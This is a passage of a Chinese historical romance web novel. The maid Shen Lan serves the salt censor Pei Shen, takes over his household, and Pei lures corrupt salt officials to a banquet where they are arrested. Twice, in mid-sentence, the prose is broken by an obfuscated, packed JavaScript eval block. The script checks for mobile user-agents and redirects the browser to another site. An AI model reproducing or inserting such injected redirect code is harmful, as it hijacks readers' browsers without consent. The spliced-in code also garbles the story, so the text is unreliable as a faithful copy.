这样一来,反倒是个机遇。 况且哪怕三年后脱不了身,届时已然熟悉了周围情况,麻痹了裴慎,有了银钱、人脉,要逃跑也容易些,总比如今两眼一抹黑,连出扬州的路在哪里都不知道强。 沈澜下定决心,做好两手准备,却忽觉不对:“大人可是夺情起复?”按理守孝不该做官啊。 林秉忠摇头道:“爷是为其恩师守孝。” 为恩师守孝?沈澜只觉不对劲,她就是再不熟风土人情,也知道守孝是为父母、祖父母,哪里有为恩师守孝的?这恩师是他五服内的族亲?还是裴慎在求名? 她正要细问,坠儿急急来寻,说大人找她。 沈澜辞别林秉忠,匆匆到了正房,唯见裴慎头戴网巾,穿着缂丝圆领袍,端坐黄花梨四出头官椅上,正握着一卷《青琐高议》,目不转睛的看书。 见她进来,裴慎放下书道:“去哪儿了?怎么不在房中伺候?” 沈澜垂首道:“昨日睡得沉了些,今日便起晚了。” 裴慎只冷哼道,“爷一宿没睡,你倒是好眠。”拿到账本,有诸多事情要做,哪里能安睡? 沈澜咋舌,可算是明白裴慎语气为何如此冷冽了。任谁为工作熬了一夜心情都不会好的。 她不想捋虎须,便低头肃立道:“是奴婢不懂事。敢问爷有何吩咐?” 裴慎只散漫的瞥她一眼:“知道我一夜未眠,还不快去铺床叠被?” 已然日上三竿,可领导要补眠,沈澜还能拒绝不成?她顺从地看了看房内。 裴慎为了处理公务,书房连通内室。 这是盐漕察院,古来盐官最为富庶。床榻围屏俱是些紫檀乌木,盘匣漆器多是螺铀剔红,案头清玩有昆石灵璧,就连墙上挂的画都是玛瑙轴头。 沈澜放眼望去,只觉此地实在过于奢侈。 可巡盐御史任期只有一年,裴慎忙到连丫鬟采买都顾不上吩咐,想来这些布置多半都是上一任巡盐御史留下的。 正思忖之间,裴慎不耐烦道:“杵在那里做甚?” 沈澜便匆匆从一旁的檀木斗柜里抱出群青四君子杭绸被,捋平褶皱,铺在床上。又拍了拍枕头令其松软。便转身道:“爷,好了。” 裴慎剑眉微蹙:“这便好了?” 沈澜稍有些迷茫:“不知爷还有何吩咐?” 裴慎不置可否:“已至夏季,这被子用的还是茧绸,帐子是厚实的绢帐,就连枕头都是西域五色普罗制的,地上还铺着洒海剌。你要热死谁?” 沈澜一时为难,她从未伺候过旁人,只人在屋檐下,不得不低头。况且不管是要请裴慎为她销去奴籍,还是要逃跑,和领导处好关系都是第一步。 沈澜即刻端正态度:“爷,奴婢鲁钝,且不曾服侍过人,经验不足。”向领导承认错误。 “若爷觉得奴婢有不妥之处,还请指点一二。”请求懂行的领导指点。 “既然被褥枕头帐子等皆要随四季变化,那么房中其余陈设可也要如此?”举一反三,展现自己的聪慧。 果然,三句话后,裴慎的脸色好看多了。她瘦马出身,平日里多半学些琴棋书画,茶围双陆之类的,哪里有公府丫鬟会伺候人?如今见她聪敏,倒也省事。 裴慎“嗯”了一声。 沈澜便上前,先把全部柜子打开,翻检了一条夏季薄被,卷起床上厚重的被褥和枕头,替他换好。 她此刻穿着宽大的粗布衣衫,腰间只系了根细带,走动间勾勒出袅袅腰肢。 裴慎的目光轻扫过她的腰肢。 太细了些,一掌便能握住。 东西又多又重,沈澜一通忙碌,难免热意氤氲,双颊飞晕。 裴慎放下书,端坐饮茶,余光总有意无意瞥她,见此 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裴慎忖度片刻便明白她为何从四弃香改用安神香。 想来用安神香是为了叫周围监守之人睡得更熟,只是安神香颇为昂贵,若日日烧她承受不起。可若不烧香,忽然在临逃跑前有了烧香的习惯,恐惹人起疑。便只能前面燃些廉价的香料,最后再烧安神香好逃跑。 “你倒聪敏。”裴慎意味深长道,“只是做丫鬟倒也不必太灵慧,勤恳伺候好主子便是了。” 沈澜垂首,心知对方在警告她不要把这些小把戏用在他身上,更不要试图耍些小聪明。 “爷说的是。”说完,替他褪去了腰带、外衫,正打算为他脱去亵衣亵裤,裴慎突然道:“净室备好了水,过来替我擦背。”说着,坦然自若地向净室走去, 沈澜也不生气。裴慎敢洗,她就敢看。 盐漕察院当真富庶,净室内是不知从哪里引来的一泓温泉,偏偏做得又格外清雅。 入门不是一座屏风,而是一道假山石景。那掇山竟是以瘦漏皱透的太湖石所制。绕过这座咫尺山林,从几杆古拙的竹节中流出汩汩热泉,水面上飘着几片青碧玲珑的荷叶。 沈澜仔细一看才发现那荷叶边缘卷曲上翘,泛着润泽的光华,竟是能工巧匠烧制而成的孔雀绿釉荷叶瓷盘,一旁还点缀着童趣的莲藕。底下应当是做了些小机关,令其浮于水面之上。 见她颇为惊叹的样子,裴慎意味深长道:“如何?” 沈澜答道:“极美,它必定凝结了诸多工匠的心血。” 裴慎颇为诧异的回头望她一眼。他还以为沈澜或是斥其奢靡,或是艳羡不已,却没料到她竟是这般说法。 “你这说法倒有几分趣味。”裴慎轻笑一声,复又闭目养神道,“且过来擦背。” 擦就擦呗,沈澜无所畏惧。她拿起盘中绸缎,沾了温泉水,浇在他背上。裴慎自幼习武,整个人身量高,肩宽背阔,英武挺拔,肌肉精瘦结实,充满着力量感。 裴慎回头,见她脸不红气不喘,毫无异色,便心有不满,暗想她果真是瘦马出身,给一个陌生男子擦起背来半点也不害臊。 一想到这里,他干脆靠在池壁上,闭目养神道:“用点劲儿,挠痒痒呢!” 沈澜闻言,咬着牙,使出吃奶的劲儿擦洗起来。 过了一会儿,裴慎突然道:“说你挠痒痒真是高估你了,蚊子叮的都比你强。” 沈澜本来就擦的满头大汗,闻言心头火起,柔声道:“爷,奴婢力气不够,不如叫个侍卫进来给爷擦背。”擦!最好擦了你的皮! 裴慎也不回头,只摆摆手道:“喊了侍卫,要你有何用?你那月俸是白拿的不成?” 月俸?沈澜一顿,便小心试探:“爷,这月俸是多少?” 裴慎回头看了她一眼,暗道成日里惦记那点银子,果真是出生卑微,见识浅薄。 “不知,照旧例走便是。”裴慎冷声道。 沈澜愣了愣。想来也是,裴慎哪里会知道一个婢女的月银。 有了这一出,裴慎忽又不耐烦地摆摆手,“你且出去。” 沈澜莫名其妙,不知道此人发的什么火。但她乐意不擦背,甩开锦帕告退。 裴慎见她转身就走,只蹙眉道:“去哪儿?且去外间榻上守着。” 沈澜无奈,出了净室去博山炉内隔水熏炙蓬莱香,换上芙蕖簟,铺好天水碧杭绸薄被,拂下水墨白棱纱帐上缀着的玉钩,帐内日光昏昏,裴慎阖眼枕在竹枕上,呼吸渐绵长起来。 沈澜便躺在离床不远处的美人榻上发呆。只是屋内一片安谧,唯香气袅袅,连阳光都显得闲适。渐渐的,她意识昏昏,朦朦胧胧睡去。 7. 第7章 裴慎精力充沛,只小睡了一个时辰便醒,拂开纱帐,见不远处美人横卧,香梦沉酣。 走近了才见她薄被半搭,鬓乱钗横,眉眼纯稚,唯一点缬晕染于香腮之上,露出半截雪白的玉臂横陈在胸前。 或许是听到了脚步声,沈澜霎时惊醒过来,懒起无力,只一双翦水秋瞳泛着盈盈脉脉的水光,迷蒙地抬眼,便露出几道被竹簟压出的痕迹。那几道红痕在她雪白的香腮之上,如雪里红梅,清极生艳。 裴慎呼吸发紧,看了一会儿才移开视线,玩笑道:“怎么?睡了一会儿便认不出我了?莫不是被玉簟压坏了?” 闻言,沈澜伸手摸了摸自己脸颊,才发现左脸似乎被竹席压出了几道痕迹。 她愣了好一会儿,才清醒过来。起身,垂首,肃立。又是平日里那副安静谨慎,恭顺的样子了。 “爷,奴婢失职,竟睡着了。” 裴慎心情不错,笑道:“你生得这么好,只穿粗布麻衣着实可惜了。” 沈澜哪里敢装扮,她只想安生熬完三年,便说瞎话哄他:“大人正守孝,我哪里好穿红着绿?” 提起“守孝”二字,裴慎面色不变,只一双眼睛冷若冰霜,寒意森森。好似替恩师守孝,不是心甘情愿,倒像是被迫似的。 沈澜低着头,一无所觉,只奇怪裴慎为何不说话。半晌,才听见裴慎道:“不必大红大紫,只是你这身实在破烂了些,没得丢脸。”说着,便喊人进来:“陈松墨,且去唤几个绣娘来。” 陈松墨一时惊异,爷平日里哪里耐烦折腾这些,丫鬟婆子穿什么他是素来不在乎的。 他心里有了盘算,也不敢多看,便告退离去,径自去寻绣娘。 沈澜还以为裴慎要给她发工作制服,心道也不知道将来辞职了,这些衣服要不要还。若是不必还,那辞职后卖去估衣铺,还能挣一笔。 此时已是半下午,裴慎尚未用膳,沈澜便取了午膳摆上桌。 蟠桃饭,碧涧羹,鲜鱼虾做成的山海兜,松花黄与练熟蜜制的松黄饼,新鲜的马齿苋汆水青翠欲滴,活鲤清蒸后鲜甜味美,菱角白嫩爽脆。 沈澜立在他身后,咋舌不已,都说三代方知穿衣吃饭,可见裴慎果真是钟鸣鼎食之家出身,这一顿饭,造价未必高昂,但俱是夏日时令蔬果,取得便是应时二字。 伺候裴慎用了饭,沈澜又在厨房随意用了些,填饱肚子便径自回房。 刚到房门口,只见陈松墨带着一个三十来岁的绣娘,捧着一叠衣衫立在门口:“沁芳姑娘,爷叫我把衣衫给你送来。” 这院子里适龄的丫鬟只有沈澜一个,虽有绣娘在场,陈松墨也不好多待,只匆匆嘱咐了一句:“这是陈氏绣庄的绣娘,姑娘若有什么吩咐,尽管与她们说。” 语罢,匆匆离去。 沈澜蹙眉看着绣娘抱来的衣衫。鸦青色比甲、豆绿潞绸对襟、雀蓝杭缎外衫、靛蓝月牙白镶边裙、妆花织金裙、莲叶纹百花间破裙、白纱挑边襦裙……十几件衣衫叫人眼花缭乱。 虽都是素净的颜色,可这衣衫料子未免也太好了些。沈澜颇有些迷惑,裴慎的丫鬟待遇这么好的吗? 这院子里的下房隔的近,她这边有了动静,坠儿便跑出来看热闹。 “沁芳姐姐,这衣裳好漂亮。”坠儿与沈澜打了几回交道,见她和善,也不怕她,只羡慕的望着那些锦缎华裳。 沈澜回过神来,这院子里的丫鬟婆子她都见过了,这些人穿得虽不差,却也只是细布罢了,何曾穿得这般显眼。 沈澜不想出挑,便冲着绣娘笑了笑,正要开口,那绣娘被她笑得一时恍惚,脱口而出:“姑娘当真好颜色,这些衣衫配姑娘正好。” 沈澜不置可否:“这些衣裳可是你选的?” 见她面上并无喜色,绣娘一慌,即刻道:“来的是个五大三粗的男人,只说将店里好看的衣服包起来,我便送来了。敢问姑娘,可是有不妥之处?” 闻言,沈澜心中松快了不少。裴慎应当只是叫陈松墨去采买些衣物,却没料到阴错阳差。 她道:“这些衣服太贵重,我穿不起,你那里可有细棉布制的衣衫襦裙,不需太贵重,也不能太简陋,看着妥帖便是。” 绣娘只觉这单生意做黄了,一时间怏怏道:“姑娘,你好歹是巡盐御史家的丫鬟,走出去都是主子的体面,不说穿金戴银,怎么能连个绸缎襦裙都没有呢!” 沈澜只一味微笑,不理会她的抱怨,她便讪讪道:“是我多嘴了。” 说着,为沈澜量了尺寸,大概是想到了方才那些话,又不想失去巡盐御史府这个大客户,绣娘一边量一边夸赞道:“姑娘这腰肢真是纤细,肩背也好,我量过这么多妇人,姑娘这尺寸是顶顶好的。” 沈澜心知她必定是对每一个客户都这么说,也不在意,只问道:“要多久能送来?” “姑娘要新做的,便要两三天的功夫。若只在店里现成的衣衫上改一改,明日就能送来。” “明日吧。”沈澜提醒道:“衣衫稍稍宽大些。”也好掩盖住姣好的身体曲线,以免惹祸。 那绣娘原想再劝劝她,转念一想,衣裳宽大了,多费布料更多,便喜上眉梢:“姑娘可还有其他吩咐?” 沈澜摇了摇头,绣娘径自告辞离去。房里只剩下那一堆衣服没拿走,理由是陈松墨已付过钱了。不仅如此,还表示明日送衣服来的时候,再带几个绣娘,把这些衣服不合身的地方都改了。 坠儿得了沈澜的同意,正欢喜雀跃的抚摸那些新衣裳,只觉这些比她身上的漂亮多了。 “姐姐,我也是丫鬟,待我长到姐姐这么大的时候,也能有这么多漂亮衣服穿吗?” 沈澜摸了摸坠儿毛茸茸的脑袋,笑容微微发苦:“漂亮的衣服虽然好,可穿不了。” 坠儿不懂她在说什么,只睁大眼睛茫然地看她:“为什么穿不了?” 沈澜没回答,只轻叹一声。叹息声散落在庭院里,几不可闻。 第二天一大早,沈澜要的衣裳便送来了,鸦青色细葛布制成的襦裙,换上以后她便出了门。 裴慎尚未接到陛下旨意,这几日闲来无事,正在练字。沈澜进来的时候他提着一杆白茅根心制成的茅龙笔,正临摹《行书诗》。听到有人进来,头也不抬道:“研墨。” 上等的瘦马要学些诗词歌赋,自然也要会研墨。沈澜看了眼他纸上的墨迹,便闷声不吭的在龙尾砚中加了少许清水,拈起文犀照水墨细细研磨起来。 待在一卷字习完,裴慎搁下笔,颇为满意:“墨研得不错。” 他方才在绢上的字迹墨色极干,色如焦枝,分明要用的是焦墨,沈澜便只加少许清水,好合他的意。 搁下墨条,沈澜取了干净的手帕递给他。 接过帕子,裴慎突然蹙眉道:“不是给你送了衣裳吗?怎穿的如此素净?” 沈澜心里一颤,戏肉来了。 “爷,陈侍卫是不是买错了?送来的衣物太过贵重,全是些杭缎潞绸。” 裴慎兀自擦手,只淡淡道:“爷赏你的,尽管穿。” 她寸功未立,何来赏赐?沈澜心里发紧,只小心试探道:“我可是立了功?” 裴慎便笑着反问:“你不过是个闺阁女子,能立什么功?爷赏你两件衣裳,还要什么由头不成?” 沈澜非但不欢喜,心中反倒越发沉郁。到底是裴慎一时兴起赏了几件衣服,还是他有意纳她做妾,或是干脆要将她赠予旁人,临行前给她好生打扮一二。 她脑中思绪万千,顷刻之间便下定决心,只小心试探道:“那些衣衫虽是爷赏的,可太贵重了,我行走坐卧难免弄脏。倒不如平日里穿素净些的衣物,待要出门见人了,再穿爷赏的。” 裴慎闻言,定定看了她两眼,不出声。 此人剑眉星目生得威严,加上年纪轻轻身居高位,此刻脸一沉,上位者的压迫感如同沉重的乌云,仿佛随时都有暴雨雷电倾泻而下。 沈澜低着头,毫不害臊地吹捧他:“前任巡盐御史留下的这屋子里的陈设颇为奢靡,爷尽数叫人换了去。可见爷秉性廉洁、不好奢靡。” “都说有其主必有其仆,我亦不好挥霍无度。倒不如干干净净细 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375390|200076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 葛布制成的衣衫,吸汗透气,夏季穿起来颇为舒适,取其清静自然之意。” 生怕裴慎还不肯答应,沈澜即刻追加第二个理由:“爷恰逢孝期,我虽是个小小奴婢,却也不敢穿金戴银四处招摇,给爷找麻烦。” 语毕,她只觉自己用尽了毕生彩虹屁,追星都没这么努力。 她紧张的等待着裴慎的回复。 见她这般,裴慎竟有些想笑。不过几件衣裳罢了,不爱穿便不穿,也值得她小心谨慎、拐弯抹角找理由? 裴慎原本就盯着她,这会儿忽然又想起她方才说话的时候……朱唇榴齿,檀口张合之间,隐见丁香小舌。 于是视线便忍不住放去了她唇齿之上。看着也没抹胭脂,怎么唇瓣如此嫣红润泽? 他忽然问道:“可吃过石榴?” 沈澜一愣,夏日哪来的石榴?她摇摇头:“不曾吃过。” 既不曾吃过,为何那唇瓣像刚刚咬过石榴,红艳艳的汁水便染在了唇上。 裴慎忽然笑道:“待到秋日,且给你捎几个石榴吃。”沈澜摸不着头脑,只觉话题转的太快,便茫然地道了个谢。 可她这会儿哪里在意石榴不石榴的,只小心翼翼地问道:“爷,那我这身衣裳……” 裴慎但笑不语,过了一会儿意有所指道:“沁芳,你这张嘴,当真生的好。” 沈澜只以为裴慎是夸她话说得好,说服了他,心中不免泛起几分喜悦和庆幸来。 既然裴慎能轻易答应她穿现在这身衣裳,想来之前多半是看她衣着寒酸、临时起意送几件衣裳而已,不是想将她送人,也不是要在孝期强纳她为妾。 沈澜舒缓下来,只垂首道:“谢过爷夸奖。” 见她这几日颇为恭顺,行事也周到小心,裴慎便道:“我初初上任一月,这院子里也没个人管,原本这些内务都交给了陈松墨和林秉忠,如今你来了,院里的丫鬟婆子便交给你管。” 说着,喊了陈松墨进来,叫他将库房钥匙、账册尽数给沈澜。 沈澜接过钥匙和一只装银钱的檀木匣,心知正式工作要开始了。 陈松墨交接完后就离开了,裴慎叮嘱她道:“外头的丫鬟婆子都是历任积留下来的,也有良家子前来做工,俱是扬州本地人,便是我离任,这些人也不会随我一起走。” 沈澜会意,这是告诉她这些人不可信,叫她行事谨慎些。 “爷,我不曾管过内院,望爷指点一二。”沈澜诚心道:“我私以为这院子里也就三件事最要紧。一是爷的书房,二是厨房,三是卧房。” 书房是机要之地,厨房是入口之物,卧房是起居之所。至于什么库房之类的,堆的都是些杂物。裴慎上任轻车简从,一应物品俱是扬州本地购置,便是失窃了绫罗绸缎、杯盘碗盏之类的,也不过损失了些许银钱。 听她这么说,裴慎颇为赞许道:“不错。你既知道,便去做吧。” 下午,沈澜细致的了解了这院子里丫鬟婆子的情况,又详细问了厨房采买事宜,再去耳房将裴慎的物品尽数登记造册,还得将他上峰、同僚、下属、友人送来的各色礼品清点入礼账,便于回礼。 入夜,沈澜照旧伺候裴慎沐浴更衣,又睡在正房美人榻上守夜。 忙活了大半天,沈澜殊无睡意,心知明日,她的婢女生活就要正式开始了。思及此处,只觉前路茫茫,哪里能安睡呢? 她翻来覆去睡不着,干脆睁开眼,自柳叶格窗望出去,唯见一轮弯月,两三点碎星,数缕清风送来庭前蔷薇一院香。 看着看着,沈澜忽而想起了她从刘宅出逃的那一晚,也是这般好景致。只是彼时心中惶恐,怕自己逃跑不顺,又怕被卖入暗门子,罹患疾病,尊严沦丧,便没有心情赏景。 如今天上朗月依旧,人间清风犹在,她也好端端的活着,无需学什么伺候男人的把戏,也不必时刻忧虑沦落风尘。况且三年过后,若能销去奴籍,她便是良家子弟。便是不成,再逃跑,也有三年时间来准备。 沈澜计定,心中一派安宁,她披着粼粼月光,拢着满袖暗香,阖眼睡去。 8. 第8章 第二日一大早,沈澜正低头为裴慎整理腰上素银束带,恰要将一个竹叶纹三梭布荷包系上去,忽闻房外传来林秉忠叩门声:“爷,来圣旨了。” 裴慎闻言,应了一声,即刻去外书房接旨。 一进书房,只见十几个锦衣卫立于左侧厅堂,身穿飞鱼服,腰挎绣春刀。东厂档头带着几个番子立于右侧,头戴尖帽,脚蹬白皮靴。双方泾渭分明,互不搭理。 裴慎暗忖,陛下无子,又日渐老迈,疑心病越发重了。不仅启用东厂,还要东厂与锦衣卫一同前来,相互制衡,这是生怕有哪一方做手脚。 不过扬州官场侵吞盐引行贿受贿一案证据确凿,没哪个傻大胆敢在这时候动手脚。 “裴大人,接旨吧。” “奉天承运皇帝,敕曰:古来唯廉而能后平,平则公矣。昔子罕辞玉、杨震辞金,列前古之清洁,为将来之龟镜……” 待裴慎接了旨,这旨意果真与他想的一模一样,转运使秦献仅因管教下属不利被申饬一番,而副转运刘必之却要被押送回京受审。 “裴大人,陛下命我等速速缉拿要犯,不知裴大人可否派个差役带路?”说话的是北镇抚司镇抚使,威名赫赫的石经纶。 对方板着脸,络腮胡须浓密的看不清神色,一板一眼道:“还请裴大人速速行动,勿要耽搁我等差事。” 裴慎尚未说话,一旁的东厂档头许益便不咸不淡道:“石镇抚使说笑了,裴大人深受圣恩,哪敢耽误陛下的事。”说着,又满脸堆笑,“裴大人来扬州一月,便查出了一桩惊天大案,当真是头角峥嵘、年少有为啊!” 石经纶即刻嗤笑起来。 见他嗤自己,许益扯扯嘴角,皮笑肉不笑回敬:“北镇抚司好大的威风。” “比不得许档头,带着三五个番子便敢来办差事,艺高人胆大。” 这分明是讥讽他们东厂无人。许益心中恼火,若不是裴慎还站在这里,他恐怕甩袖便走。只见许益阴着脸道:“咱家出京办差,不与你置气。裴大人,且给咱家也派个差役带路!” 见两人互不搭理,裴慎也不在意。锦衣卫若与厂卫处的好,陛下只怕要彻夜难眠了。 裴慎温声道:“二位若一家家抄检过去,唯恐泄露了风声有人畏罪潜逃徒增麻烦,还是本官出面,将一干人等邀来赴宴为妙。” 许档头大喜过望:“如此便多谢裴大人了。”锦衣卫人多,石经纶那厮若缺人,调几个当地驻扎的锦衣卫便是。可他们东厂刚刚被启用,哪来那么多人手?这办法分明是裴大人体恤他。 许益眉开眼笑,心道这国公府世子爷果真会做人,怪不得简在帝心,圣眷正隆。 “既是如此,咱家就等大人好消息了。届时裴大人摔杯为号,咱家带着刀斧手即刻冲出来!” 石经纶听得脸皮发僵,心道太监就是粗俗,听了几出鸿门宴,还真唱起大戏来了。 三人议定,许益和石经纶便纷纷告辞。裴慎喊人拿着他的帖子请涉事官吏于太白楼赴宴。 此时东曦既驾,日已三竿,明亮的日光从玻璃窗格中透出来,裴慎坐在太师椅上,把玩着手中洒金川扇。 少顷,忽有人推门而入,正是方才离去的石经纶。 “大人。”石经纶拱手,“指挥使叫我代他问个好。” 裴慎温声道:“按理,赵十一是传旨百户,我原本以为来的是他,怎么是你来?” 石经纶恭敬道:“十一被派去督办采选良家子一事,无暇来见大人。指挥使特意着我告知大人几件事。” 说着,他一一重复道:“第一,廖美人、何婕妤有孕,御医把脉,只说有八成把握廖美人生男,何婕妤生女。” 裴慎毫不犹豫:“廖美人恐怕是活不了了。”婉贵妃深得陛下爱重,廖美人的儿子必定会抚养于婉贵妃膝下。 石经纶微微叹息,继续道:“第二,婉贵妃侄女林六娘及笄后至今尚未婚配,今年,林九娘、十三娘也要及笄了。” 提起婉贵妃三个字,裴慎面容平静,只眼带厌恶,冷笑道:“京中恐怕日日都有适龄子弟成亲,热闹的很。” 想避开婉贵妃的几个娘家侄女,除了守孝便只能成亲。守孝这招他用过了,况且若非时机巧合,寻常人也用不了,那就只能成亲。 “第三,云南巡抚傅济中派遣家仆携两罐黄雀银鱼拜谒林少保,傅济中被擢为南京大理寺卿,赴任途中死于镇远。” 裴慎点点头:“我在邸报上瞧见了。”林少保是婉贵妃之父,他的党羽死了,不管是怎么死的,朝堂只怕又是风起云涌。后宫与朝堂扯在一起,牵一发而动全身,裴慎无意掺和。 便是要入阁,也要先外放攒出政绩,待到三四十岁再请回京,顺顺当当的做一任尚书,届时入阁,那便是既有资历,又有实绩了。 裴慎思忖后,沉声道:“你且告诉指挥使,就说裴慎巡盐御史任满回京后会再请外放。” 石经纶点点头,只将裴慎的嘱咐记在心里后,又陆陆续续说了剩下两件事。 “第四,东南倭寇渐猖獗,浙江巡抚刘集上奏折欲罢免浙江、福建市舶提举司。” 裴慎摇摇头:“两淮盐政课税素来是国朝盐税重中之重,论理,一引应得盐税六两六钱四分,按照盐引量,应得盐税一千万两有余,可去年盐税才两百四十五万两。” “我年不过弱冠,陛下不用老成持重之辈却要我来担任巡盐御史,必定是要借年轻人的锐意进取来革故鼎新,严查盐政官场积弊。可见朝中财政已是日益紧张。” 否则这位沉迷于婉贵妃、生子、修道这三件事的陛下决不会腾出手来搭理盐政的。 裴慎继续道:“既然朝中如此缺钱,福建和浙江两个市舶司年抽解白银百万两,朝中必定不肯裁撤。相反,刘集乃浙江巡抚,干出此事要么是一时糊涂,要么是被倭寇逼到没办法了,前者无智,后者无能。浙江巡抚的位子多半要换人做了。” “此外,若真是倭寇猖獗,还请指挥使多多留意东南情报,陛下必定要问。况且将来总有用到的时候。” 石经纶会意:“我会提醒指挥使大人。” 语罢,又道:“蒙古土默特部勃儿只斤俺答去年便有流言说病重,拖到如今也没个确切的消息,指挥使想听听裴大人的想法。” 裴慎思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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赵娘子笑道:“河虾得去码头现买才新鲜,菱角蔬果自然是去菜市街采买的。” 沈澜心中欣喜,正要再问,赵娘子又继续道:“我已与河上那船家约好,叫他日日送来新鲜的河虾活鱼。” 沈澜一时失望,她本想借着采买事宜,与赵娘子一同出府。如今看来,这条路希望不大,况且采买涉及银钱,颇为敏感,赵娘子未必愿意与她同去。 沈澜思忖片刻,换了个说法,笑道:“赵娘子,我来的匆忙,没什么胭脂可用,正打算出府买些胭脂水粉,不知赵娘子何时有空,我也好与你一同搭个伴。” 赵娘子微怔,颇有些为难。盐漕察院富庶,给厨娘的月银也高,赵娘子不想丢了这份活计,偏偏她又是个寡妇,生怕惹来是非,便不肯频频外出,只谨言慎行的闷头做事。 “姑娘,我平日里若不是采买,等闲不出府,就是怕大人想吃个东西却寻不着人。” 沈澜见她为难,体贴道:“我也不挑日子,只待赵娘子要出府之际,且通知我一声便是了。” 赵娘子松了口气,笑着剥了个菱角递给她。 9. 第9掌 午间,太白楼内。 受邀者俱是盐政官吏以及盐商,巡盐御史相邀,哪敢不来?几个白身的盐商不敢衣锦华服,还特意换上了青衣褶子以示恭敬。 太白楼是扬州最大的酒楼,高约三层,五楼相向,以数座虹桥相连,雕栏玉砌,檐牙高啄。又有伎子小唱出入其间,帮闲篾片四处走动。 三楼的包厢里,见裴慎尚未来,诸人叙爵落座,只吃着茶点却不敢开桌,叫来的三五伶伎不好干坐着,也不好叫呀酒,便只好弹唱些骤雨打新荷、锁南枝、山坡羊之类的慢曲小调。 “怎么只喊了这么几个小唱?”秦献端坐次席,不悦道。 宴席虽是裴慎开的,可太白楼开设宴席驾轻就熟,二十余人的宴席只叫了三五伶伎,实在不合适。 一旁陪坐的刘必之低声道:“卑职特意叫人裁撤了几个,那裴大人听说守孝在身,不好宴饮享乐。” 秦献嗤笑,既是守孝,为何开宴?分明是装模作样。只他嘴上道:“裴大人上任一月,还是头一次设宴,当真是昃食宵衣、尽瘁事国啊。” 盐场转运使发话,周围几个经历、盐所官也纷纷拍马:“是极是极”、“大人勤政”、“忧国奉公、未明求衣。” 满场都是官,几个盐商不敢托大,只敬陪末座,这会儿见官吏们夸赞完,这才敢说几句“裴大人夙夜在公”、“宵旰忧劳”…… 一时间,满场桴鼓相应,笙磬同音,气氛融洽和美。 隔壁包厢里等着的锦衣卫小旗忍不住啐了一口:“裴大人还没来呢,至于吗!” 周围几个相熟的便挤眉弄眼道:“老爷们现在说的高兴,一会儿咱们进去,管叫他们唱的高兴!” 众人吃吃笑起来。 石经纶清清嗓子,身后的十余名锦衣卫便做肃穆状,不敢再顽笑。 “行了,此行共抓捕十七人,都警醒些,可不能让隔壁那帮阉货抢了先。”刚说完,便听见楼梯口有四个脚步声,极轻盈,听着俱是习武之人。 石经纶做手势,示意身后部下噤声准备。 裴慎带着三个侍卫上楼进了包厢。 他一进来,众人纷纷拥他端坐上首。裴慎坐在鱼肚牙壸门太师椅上,环顾四周,除了几个熟面孔,剩下的人俱不认识。 也是,能见到他的都是五品以上的盐政官吏,普通的小吏根本见不着他,他自然不认识。更别提几个连功名都没有的盐商了。 裴慎温声道:“诸位都坐吧,是本官来迟,原该自罚三杯,只是恰逢孝期,以茶代酒可好?” 秦献即刻道:“大人客气了,忠孝大过天,哪里敢让大人自罚。” 一时间,劝说声不绝于耳。 裴慎就坡下驴:“诸位好意,本官心领了。只是本官初来乍到,尚有诸多仁兄贤弟不认识,秦大人可愿做个中人?” 秦献朗声笑道:“好说好说。”说罢,先是指点了几个官位稍次者,只说这几位是吴经历、陈知事,被点到的人即刻起身敬酒。 这么一轮下来,最后便说到了几个盐商。 “这是刘葛,刘鹿裘。” 被点到的刘葛穿着青衣褶子,即刻作揖把盏:“裴大人,小人刘葛,字鹿裘,家中世代贩盐,今日蒙大人召见,不胜惶恐。” 语毕,即刻灌了自己三钟酒。 裴慎不置可否:“你这字可是出自《汉书虞延传》,昔晏婴辅齐,鹿裘不完,季文子相鲁,妾不衣帛?” 见巡盐御史与他搭话,刘葛激动地满脸通红:“是极是极,大人博通经籍,不愧是状元之才。” 裴慎淡淡道:“倒也有趣,鹿裘不完喻指节俭,你却做了奢靡富庶的盐商。” 刘葛一时间竟不知道这话该怎么接,只好讪讪道:“小人名葛,这夏穿葛,冬着裘,故取了鹿裘为字。” 裴慎不过是想起了沁芳才与刘葛多说两句,此刻早已不耐,便兀自看向秦献:“秦大人还未介绍其余人。” 秦献一愣,纳闷地介绍了剩下几个人。 裴慎这才道:“人齐了便好,今日设宴,只因有几位贵客想结识诸位。”说着,吩咐两个侍卫出门将贵客请来。 众人惊疑不定,茫然若梦地看向门口。就这么一愣神的功夫,那包厢门便开了。涌出了如狼似虎的锦衣卫和厂卫。 “锦衣卫来这里做什么!” “你们绑我做甚!” “裴大人这是何意?!” 宴席尚未开桌,室内已是惊声尖叫,骚乱频频。桌上的定胜糕、红豆酥随地滚落、杯盘碎了一地,地上全是翻倒的茶水。 几个锦衣卫和番子冲过来,盐场转运副使刘必之见状,不由得哆嗦起来,一时间只觉天也昏昏,地也昏昏,惨叫一声晕过去了。 见他这般,那番子啐一口,“窝囊废!”,便将他堵住嘴上了枷号。 一旁的秦献见状,只觉目眩头昏,满目凄惶,哆嗦着说不出话来。副使被抓,他这个转运使难道还能逃的了吗?! 见状,最后进来的石经纶板着脸正色道:“还请秦大人接旨。” 秦献本已跌坐在地,面色虚白,闻言,强打起精神稽首跪拜道:“臣秦献接旨。” 只见石经纶中气十足,大声道:“陛下口谕秦献,可曾诵读过《南华真经》篇十五?” 只可怜秦献年过四十,这会儿紧张之下脑袋空空,连四书五经都快忘个干净,哪里还想得到南华真经,更别提什么篇十五了。 